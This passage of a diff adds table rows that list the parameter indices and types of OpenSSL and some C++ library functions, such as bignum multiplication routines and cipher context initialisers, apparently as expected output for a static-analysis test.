+| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_fillblock | 4 | size_t * | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_trailingdata | 0 | unsigned char * | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_trailingdata | 1 | size_t * | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_trailingdata | 2 | size_t | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_trailingdata | 3 | const unsigned char ** | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_trailingdata | 4 | size_t * | +| (unsigned char *,uint64_t,int) | | ossl_i2c_uint64_int | 0 | unsigned char * | +| (unsigned char *,uint64_t,int) | | ossl_i2c_uint64_int | 1 | uint64_t | +| (unsigned char *,uint64_t,int) | | ossl_i2c_uint64_int | 2 | int | +| (unsigned char *,void *) | | pitem_new | 0 | unsigned char * | +| (unsigned char *,void *) | | pitem_new | 1 | void * | | (unsigned char) | | operator+= | 0 | unsigned char | | (unsigned char) | CSimpleStringT | operator+= | 0 | unsigned char | +| (unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *) | | SCT_new_from_base64 | 0 | unsigned char | +| (unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *) | | SCT_new_from_base64 | 1 | const char * | +| (unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *) | | SCT_new_from_base64 | 2 | ct_log_entry_type_t | +| (unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *) | | SCT_new_from_base64 | 3 | uint64_t | +| (unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *) | | SCT_new_from_base64 | 4 | const char * | +| (unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *) | | SCT_new_from_base64 | 5 | const char * | +| (unsigned char[56],const curve448_scalar_t) | | ossl_curve448_scalar_encode | 0 | unsigned char[56] | +| (unsigned char[56],const curve448_scalar_t) | | ossl_curve448_scalar_encode | 1 | const curve448_scalar_t | +| (unsigned int *,const BF_KEY *) | | BF_decrypt | 0 | unsigned int * | +| (unsigned int *,const BF_KEY *) | | BF_decrypt | 1 | const BF_KEY * | +| (unsigned int *,const BF_KEY *) | | BF_encrypt | 0 | unsigned int * | +| (unsigned int *,const BF_KEY *) | | BF_encrypt | 1 | const BF_KEY * | +| (unsigned int *,const CAST_KEY *) | | CAST_decrypt | 0 | unsigned int * | +| (unsigned int *,const CAST_KEY *) | | CAST_decrypt | 1 | const CAST_KEY * | +| (unsigned int *,const CAST_KEY *) | | CAST_encrypt | 0 | unsigned int * | +| (unsigned int *,const CAST_KEY *) | | CAST_encrypt | 1 | const CAST_KEY * | +| (unsigned int) | | Jim_IntHashFunction | 0 | unsigned int | +| (unsigned int) | | ssl3_get_cipher | 0 | unsigned int | +| (unsigned int,int,int) | | ossl_blob_length | 0 | unsigned int | +| (unsigned int,int,int) | | ossl_blob_length | 1 | int | +| (unsigned int,int,int) | | ossl_blob_length | 2 | int | +| (unsigned int[5],const unsigned char[64]) | | SHA1Transform | 0 | unsigned int[5] | +| (unsigned int[5],const unsigned char[64]) | | SHA1Transform | 1 | const unsigned char[64] | +| (unsigned long *,IDEA_KEY_SCHEDULE *) | | IDEA_encrypt | 0 | unsigned long * | +| (unsigned long *,IDEA_KEY_SCHEDULE *) | | IDEA_encrypt | 1 | IDEA_KEY_SCHEDULE * | +| (unsigned long *,RC2_KEY *) | | RC2_decrypt | 0 | unsigned long * | +| (unsigned long *,RC2_KEY *) | | RC2_decrypt | 1 | RC2_KEY * | +| (unsigned long *,RC2_KEY *) | | RC2_encrypt | 0 | unsigned long * | +| (unsigned long *,RC2_KEY *) | | RC2_encrypt | 1 | RC2_KEY * | +| (unsigned long *,const BIGNUM *,int) | | bn_copy_words | 0 | unsigned long * | +| (unsigned long *,const BIGNUM *,int) | | bn_copy_words | 1 | const BIGNUM * | +| (unsigned long *,const BIGNUM *,int) | | bn_copy_words | 2 | int | +| (unsigned long *,const char *) | | set_cert_ex | 0 | unsigned long * | +| (unsigned long *,const char *) | | set_cert_ex | 1 | const char * | +| (unsigned long *,const char *) | | set_name_ex | 0 | unsigned long * | +| (unsigned long *,const char *) | | set_name_ex | 1 | const char * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 0 | unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 1 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 2 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 3 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 4 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 5 | unsigned long | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 6 | unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 7 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 8 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 9 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 10 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 11 | unsigned long | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 12 | int | +| (unsigned long *,const unsigned long *,const unsigned long *,int,int) | | bn_sub_part_words | 0 | unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,int,int) | | bn_sub_part_words | 1 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,int,int) | | bn_sub_part_words | 2 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,int,int) | | bn_sub_part_words | 3 | int | +| (unsigned long *,const unsigned long *,const unsigned long *,int,int) | | bn_sub_part_words | 4 | int | +| (unsigned long *,const unsigned long *,int) | | bn_sqr_words | 0 | unsigned long * | +| (unsigned long *,const unsigned long *,int) | | bn_sqr_words | 1 | const unsigned long * | +| (unsigned long *,const unsigned long *,int) | | bn_sqr_words | 2 | int | +| (unsigned long *,const unsigned long *,int,unsigned long *) | | bn_sqr_normal | 0 | unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long *) | | bn_sqr_normal | 1 | const unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long *) | | bn_sqr_normal | 2 | int | +| (unsigned long *,const unsigned long *,int,unsigned long *) | | bn_sqr_normal | 3 | unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long *) | | bn_sqr_recursive | 0 | unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long *) | | bn_sqr_recursive | 1 | const unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long *) | | bn_sqr_recursive | 2 | int | +| (unsigned long *,const unsigned long *,int,unsigned long *) | | bn_sqr_recursive | 3 | unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_add_words | 0 | unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_add_words | 1 | const unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_add_words | 2 | int | +| (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_add_words | 3 | unsigned long | +| (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_words | 0 | unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_words | 1 | const unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_words | 2 | int | +| (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_words | 3 | unsigned long | +| (unsigned long *,unsigned long *,int,unsigned long *,int) | | bn_mul_normal | 0 | unsigned long * | +| (unsigned long *,unsigned long *,int,unsigned long *,int) | | bn_mul_normal | 1 | unsigned long * | +| (unsigned long *,unsigned long *,int,unsigned long *,int) | | bn_mul_normal | 2 | int | +| (unsigned long *,unsigned long *,int,unsigned long *,int) | | bn_mul_normal | 3 | unsigned long * | +| (unsigned long *,unsigned long *,int,unsigned long *,int) | | bn_mul_normal | 4 | int | +| (unsigned long *,unsigned long *,unsigned long *,int) | | bn_mul_low_normal | 0 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int) | | bn_mul_low_normal | 1 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int) | | bn_mul_low_normal | 2 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int) | | bn_mul_low_normal | 3 | int | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_part_recursive | 0 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_part_recursive | 1 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_part_recursive | 2 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_part_recursive | 3 | int | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_part_recursive | 4 | int | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_part_recursive | 5 | int | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_part_recursive | 6 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_recursive | 0 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_recursive | 1 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_recursive | 2 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_recursive | 3 | int | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_recursive | 4 | int | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_recursive | 5 | int | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_recursive | 6 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,unsigned long *) | | bn_mul_low_recursive | 0 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,unsigned long *) | | bn_mul_low_recursive | 1 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,unsigned long *) | | bn_mul_low_recursive | 2 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,unsigned long *) | | bn_mul_low_recursive | 3 | int | +| (unsigned long *,unsigned long *,unsigned long *,int,unsigned long *) | | bn_mul_low_recursive | 4 | unsigned long * | +| (unsigned long) | | BN_num_bits_word | 0 | unsigned long | +| (unsigned long) | | BUF_MEM_new_ex | 0 | unsigned long | +| (unsigned long,BIGNUM *,BIGNUM *,int) | | BN_consttime_swap | 0 | unsigned long | +| (unsigned long,BIGNUM *,BIGNUM *,int) | | BN_consttime_swap | 1 | BIGNUM * | +| (unsigned long,BIGNUM *,BIGNUM *,int) | | BN_consttime_swap | 2 | BIGNUM * | +| (unsigned long,BIGNUM *,BIGNUM *,int) | | BN_consttime_swap | 3 | int | +| (unsigned long,char *) | | ERR_error_string | 0 | unsigned long | +| (unsigned long,char *) | | ERR_error_string | 1 | char * | +| (unsigned long[8],const unsigned long[8],const unsigned long[8],const unsigned long[8],unsigned long,const unsigned long[8]) | | RSAZ_512_mod_exp | 0 | unsigned long[8] | +| (unsigned long[8],const unsigned long[8],const unsigned long[8],const unsigned long[8],unsigned long,const unsigned long[8]) | | RSAZ_512_mod_exp | 1 | const unsigned long[8] | +| (unsigned long[8],const unsigned long[8],const unsigned long[8],const unsigned long[8],unsigned long,const unsigned long[8]) | | RSAZ_512_mod_exp | 2 | const unsigned long[8] | +| (unsigned long[8],const unsigned long[8],const unsigned long[8],const unsigned long[8],unsigned long,const unsigned long[8]) | | RSAZ_512_mod_exp | 3 | const unsigned long[8] | +| (unsigned long[8],const unsigned long[8],const unsigned long[8],const unsigned long[8],unsigned long,const unsigned long[8]) | | RSAZ_512_mod_exp | 4 | unsigned long | +| (unsigned long[8],const unsigned long[8],const unsigned long[8],const unsigned long[8],unsigned long,const unsigned long[8]) | | RSAZ_512_mod_exp | 5 | const unsigned long[8] | +| (unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],unsigned long) | | RSAZ_1024_mod_exp_avx2 | 0 | unsigned long[16] | +| (unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],unsigned long) | | RSAZ_1024_mod_exp_avx2 | 1 | const unsigned long[16] | +| (unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],unsigned long) | | RSAZ_1024_mod_exp_avx2 | 2 | const unsigned long[16] | +| (unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],unsigned long) | | RSAZ_1024_mod_exp_avx2 | 3 | const unsigned long[16] | +| (unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],unsigned long) | | RSAZ_1024_mod_exp_avx2 | 4 | const unsigned long[16] | +| (unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],unsigned long) | | RSAZ_1024_mod_exp_avx2 | 5 | unsigned long | +| (unsigned short,int) | | dtls1_get_queue_priority | 0 | unsigned short | +| (unsigned short,int) | | dtls1_get_queue_priority | 1 | int | | (vector &&) | vector | vector | 0 | vector && | | (vector &&,const Allocator &) | vector | vector | 0 | vector && | | (vector &&,const Allocator &) | vector | vector | 1 | const class:1 & | +| (void *) | | ossl_kdf_data_new | 0 | void * | +| (void *,CRYPTO_THREAD_RETVAL *) | | ossl_crypto_thread_join | 0 | void * | +| (void *,CRYPTO_THREAD_RETVAL *) | | ossl_crypto_thread_join | 1 | CRYPTO_THREAD_RETVAL * | +| (void *,OSSL_PARAM[]) | | ossl_blake2b_get_ctx_params | 0 | void * | +| (void *,OSSL_PARAM[]) | | ossl_blake2b_get_ctx_params | 1 | OSSL_PARAM[] | +| (void *,OSSL_PARAM[]) | | ossl_blake2s_get_ctx_params | 0 | void * | +| (void *,OSSL_PARAM[]) | | ossl_blake2s_get_ctx_params | 1 | OSSL_PARAM[] | +| (void *,OSSL_PARAM[]) | | ossl_ccm_get_ctx_params | 0 | void * | +| (void *,OSSL_PARAM[]) | | ossl_ccm_get_ctx_params | 1 | OSSL_PARAM[] | +| (void *,OSSL_PARAM[]) | | ossl_cipher_generic_get_ctx_params | 0 | void * | +| (void *,OSSL_PARAM[]) | | ossl_cipher_generic_get_ctx_params | 1 | OSSL_PARAM[] | +| (void *,OSSL_PARAM[]) | | ossl_gcm_get_ctx_params | 0 | void * | +| (void *,OSSL_PARAM[]) | | ossl_gcm_get_ctx_params | 1 | OSSL_PARAM[] | +| (void *,OSSL_PARAM[]) | | ossl_tdes_get_ctx_params | 0 | void * | +| (void *,OSSL_PARAM[]) | | ossl_tdes_get_ctx_params | 1 | OSSL_PARAM[] | +| (void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *) | | ossl_gcm_initctx | 0 | void * | +| (void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *) | | ossl_gcm_initctx | 1 | PROV_GCM_CTX * | +| (void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *) | | ossl_gcm_initctx | 2 | size_t | +| (void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *) | | ossl_gcm_initctx | 3 | const PROV_GCM_HW * | +| (void *,block128_f) | | CRYPTO_gcm128_new | 0 | void * | +| (void *,block128_f) | | CRYPTO_gcm128_new | 1 | block128_f | +| (void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **) | | ASN1_item_pack | 0 | void * | +| (void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **) | | ASN1_item_pack | 1 | const ASN1_ITEM * | +| (void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **) | | ASN1_item_pack | 2 | ASN1_OCTET_STRING ** | +| (void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **) | | ASN1_item_pack | 3 | ASN1_STRING ** | +| (void *,const ASN1_ITEM *,int,int) | | PKCS12_item_pack_safebag | 0 | void * | +| (void *,const ASN1_ITEM *,int,int) | | PKCS12_item_pack_safebag | 1 | const ASN1_ITEM * | +| (void *,const ASN1_ITEM *,int,int) | | PKCS12_item_pack_safebag | 2 | int | +| (void *,const ASN1_ITEM *,int,int) | | PKCS12_item_pack_safebag | 3 | int | +| (void *,const OSSL_PARAM[]) | | ossl_blake2b_set_ctx_params | 0 | void * | +| (void *,const OSSL_PARAM[]) | | ossl_blake2b_set_ctx_params | 1 | const OSSL_PARAM[] | +| (void *,const OSSL_PARAM[]) | | ossl_blake2s_set_ctx_params | 0 | void * | +| (void *,const OSSL_PARAM[]) | | ossl_blake2s_set_ctx_params | 1 | const OSSL_PARAM[] | +| (void *,const OSSL_PARAM[]) | | ossl_ccm_set_ctx_params | 0 | void * | +| (void *,const OSSL_PARAM[]) | | ossl_ccm_set_ctx_params | 1 | const OSSL_PARAM[] | +| (void *,const OSSL_PARAM[]) | | ossl_cipher_generic_set_ctx_params | 0 | void * | +| (void *,const OSSL_PARAM[]) | | ossl_cipher_generic_set_ctx_params | 1 | const OSSL_PARAM[] | +| (void *,const OSSL_PARAM[]) | | ossl_cipher_var_keylen_set_ctx_params | 0 | void * | +| (void *,const OSSL_PARAM[]) | | ossl_cipher_var_keylen_set_ctx_params | 1 | const OSSL_PARAM[] | +| (void *,const OSSL_PARAM[]) | | ossl_gcm_set_ctx_params | 0 | void * | +| (void *,const OSSL_PARAM[]) | | ossl_gcm_set_ctx_params | 1 | const OSSL_PARAM[] | +| (void *,const OSSL_PARAM[]) | | ossl_tdes_set_ctx_params | 0 | void * | +| (void *,const OSSL_PARAM[]) | | ossl_tdes_set_ctx_params | 1 | const OSSL_PARAM[] | +| (void *,const char *,int) | | CRYPTO_secure_free | 0 | void * | +| (void *,const char *,int) | | CRYPTO_secure_free | 1 | const char * | +| (void *,const char *,int) | | CRYPTO_secure_free | 2 | int | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_dinit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_dinit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_dinit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_dinit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_dinit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_dinit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_einit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_einit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_einit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_einit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_einit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_einit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_dinit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_dinit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_dinit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_dinit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_dinit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_dinit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_einit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_einit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_einit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_einit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_einit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_einit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_dinit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_dinit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_dinit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_dinit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_dinit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_dinit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_einit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_einit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_einit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_einit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_einit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_einit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_dinit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_dinit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_dinit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_dinit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_dinit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_dinit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_einit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_einit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_einit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_einit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_einit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_einit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_dinit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_dinit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_dinit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_dinit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_dinit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_dinit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_einit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_einit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_einit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_einit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_einit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_einit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap | 0 | void * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap | 1 | const unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap | 2 | unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap | 3 | const unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap | 4 | size_t | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap | 5 | block128_f | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap_pad | 0 | void * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap_pad | 1 | const 